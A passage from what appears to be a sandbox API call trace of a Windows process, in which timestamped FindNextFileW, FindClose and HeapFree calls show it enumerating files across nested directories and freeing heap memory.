dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.374] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.374] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.374] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.374] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.374] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 0 [0318.374] FindClose (in: hFindFile=0x4a59d8 | out: hFindFile=0x4a59d8) returned 1 [0318.374] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.375] FindNextFileW (in: hFindFile=0x4a5758, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0318.375] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43b2068 | out: hHeap=0x490000) returned 1 [0318.375] FindNextFileW (in: hFindFile=0x4a5758, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0318.376] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43b2068 | out: hHeap=0x490000) returned 1 [0318.376] FindNextFileW (in: hFindFile=0x4a5758, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0318.381] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43b2068 | out: hHeap=0x490000) returned 1 [0318.381] FindNextFileW (in: hFindFile=0x4a5758, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0318.381] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43b2068 | out: hHeap=0x490000) returned 1 [0318.382] FindNextFileW (in: hFindFile=0x4a5758, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0318.383] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.383] FindNextFileW (in: hFindFile=0x43b04c8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0318.385] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.385] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.386] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.386] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.386] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.386] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.386] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.386] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.387] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.387] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.387] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.387] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.387] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.387] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.387] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.387] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.389] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.389] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.389] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.389] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.390] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.390] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.390] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.390] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.390] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.390] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.390] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.390] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.391] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e5098 | out: hHeap=0x490000) returned 1 [0318.391] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0318.391] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e5098 | out: hHeap=0x490000) returned 1 [0318.391] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0318.392] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e5098 | out: hHeap=0x490000) returned 1 [0318.392] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0318.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e5098 | out: hHeap=0x490000) returned 1 [0318.394] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0318.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e5098 | out: hHeap=0x490000) returned 1 [0318.394] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0318.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e5098 | out: hHeap=0x490000) returned 1 [0318.394] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0318.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e5098 | out: hHeap=0x490000) returned 1 [0318.394] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0318.395] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e5098 | out: hHeap=0x490000) returned 1 [0318.395] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0318.395] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e5098 | out: hHeap=0x490000) returned 1 [0318.395] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0318.395] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43e5098 | out: hHeap=0x490000) returned 1 [0318.395] FindNextFileW (in: hFindFile=0x43b0348, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0318.395] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.395] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.396] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.396] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.396] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.396] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.396] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.396] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.396] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.396] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.397] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.397] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.499] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.499] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.499] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.499] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.500] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.500] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.500] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.500] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.500] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.500] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.500] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.500] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.500] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.500] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.501] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.501] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.501] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.501] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.501] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.501] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.501] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.501] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.501] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.501] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.502] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.502] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.502] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.502] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.502] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.502] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.502] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.502] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.502] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.502] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.503] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.503] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.503] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.503] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.503] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.503] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.503] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.503] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0318.503] FindClose (in: hFindFile=0x43b0848 | out: hFindFile=0x43b0848) returned 1 [0318.503] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.503] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.504] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.504] FindNextFileW (in: hFindFile=0x43b0148, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.504] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.504] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.592] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.593] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0318.593] FindClose (in: hFindFile=0x43b0408 | out: hFindFile=0x43b0408) returned 1 [0318.593] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.593] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.593] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.593] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.593] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.593] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.595] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.595] FindNextFileW (in: hFindFile=0x43b0848, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0318.595] FindClose (in: hFindFile=0x43b0848 | out: hFindFile=0x43b0848) returned 1 [0318.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.595] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.595] FindNextFileW (in: hFindFile=0x43b0788, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0318.595] FindClose (in: hFindFile=0x43b0788 | out: hFindFile=0x43b0788) returned 1 [0318.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.595] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.596] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.596] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.596] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.596] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.597] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.597] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0318.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.598] FindNextFileW (in: hFindFile=0x43b05c8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c3078 | out: hHeap=0x490000) returned 1 [0318.599] FindNextFileW (in: hFindFile=0x43b0748, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0318.599] FindClose (in: hFindFile=0x43b0748 | out: hFindFile=0x43b0748) returned 1 [0318.599] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.599] FindNextFileW (in: hFindFile=0x43b04c8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0318.599] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.599] FindNextFileW (in: hFindFile=0x43b04c8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0318.600] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c2070 | out: hHeap=0x490000) returned 1 [0318.600] FindNextFileW (in: hFindFile=0x43b0408, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.600] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.600] FindNextFileW (in: hFindFile=0x43b0208, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.601] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.601] FindNextFileW (in: hFindFile=0x43b0208, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.602] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c2070 | out: hHeap=0x490000) returned 1 [0318.602] FindNextFileW (in: hFindFile=0x43b0588, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.603] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.603] FindNextFileW (in: hFindFile=0x43b0208, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.603] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c2070 | out: hHeap=0x490000) returned 1 [0318.603] FindNextFileW (in: hFindFile=0x43b0248, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.604] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.604] FindNextFileW (in: hFindFile=0x43b0208, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.604] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.605] FindNextFileW (in: hFindFile=0x43b04c8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0318.605] FindClose (in: hFindFile=0x43b04c8 | out: hFindFile=0x43b04c8) returned 1 [0318.605] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.605] FindNextFileW (in: hFindFile=0x43b0688, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.607] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c2070 | out: hHeap=0x490000) returned 1 [0318.607] FindNextFileW (in: hFindFile=0x43b0548, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0318.607] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c2070 | out: hHeap=0x490000) returned 1 [0318.607] FindNextFileW (in: hFindFile=0x43b0548, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0318.607] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c2070 | out: hHeap=0x490000) returned 1 [0318.607] FindNextFileW (in: hFindFile=0x43b0548, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0318.607] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.607] FindNextFileW (in: hFindFile=0x43b0688, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.608] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.608] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.610] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.610] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.610] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.610] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.611] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.611] FindNextFileW (in: hFindFile=0x43b0208, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.611] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.611] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.611] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.611] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.611] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.611] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.612] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.612] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.613] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.613] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.613] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.613] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.613] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.613] FindNextFileW (in: hFindFile=0x43b0188, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0318.613] FindClose (in: hFindFile=0x43b0188 | out: hFindFile=0x43b0188) returned 1 [0318.614] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.614] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.614] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.614] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.614] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.614] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.615] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.615] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0318.615] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.616] FindNextFileW (in: hFindFile=0x43b0208, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0318.616] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c2070 | out: hHeap=0x490000) returned 1 [0318.616] FindNextFileW (in: hFindFile=0x43b06c8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0318.616] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43d4088 | out: hHeap=0x490000) returned 1 [0318.616] FindNextFileW (in: hFindFile=0x43b0688, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.618] HeapFree (in: hHeap=0x490000, dwFlags=0x0, 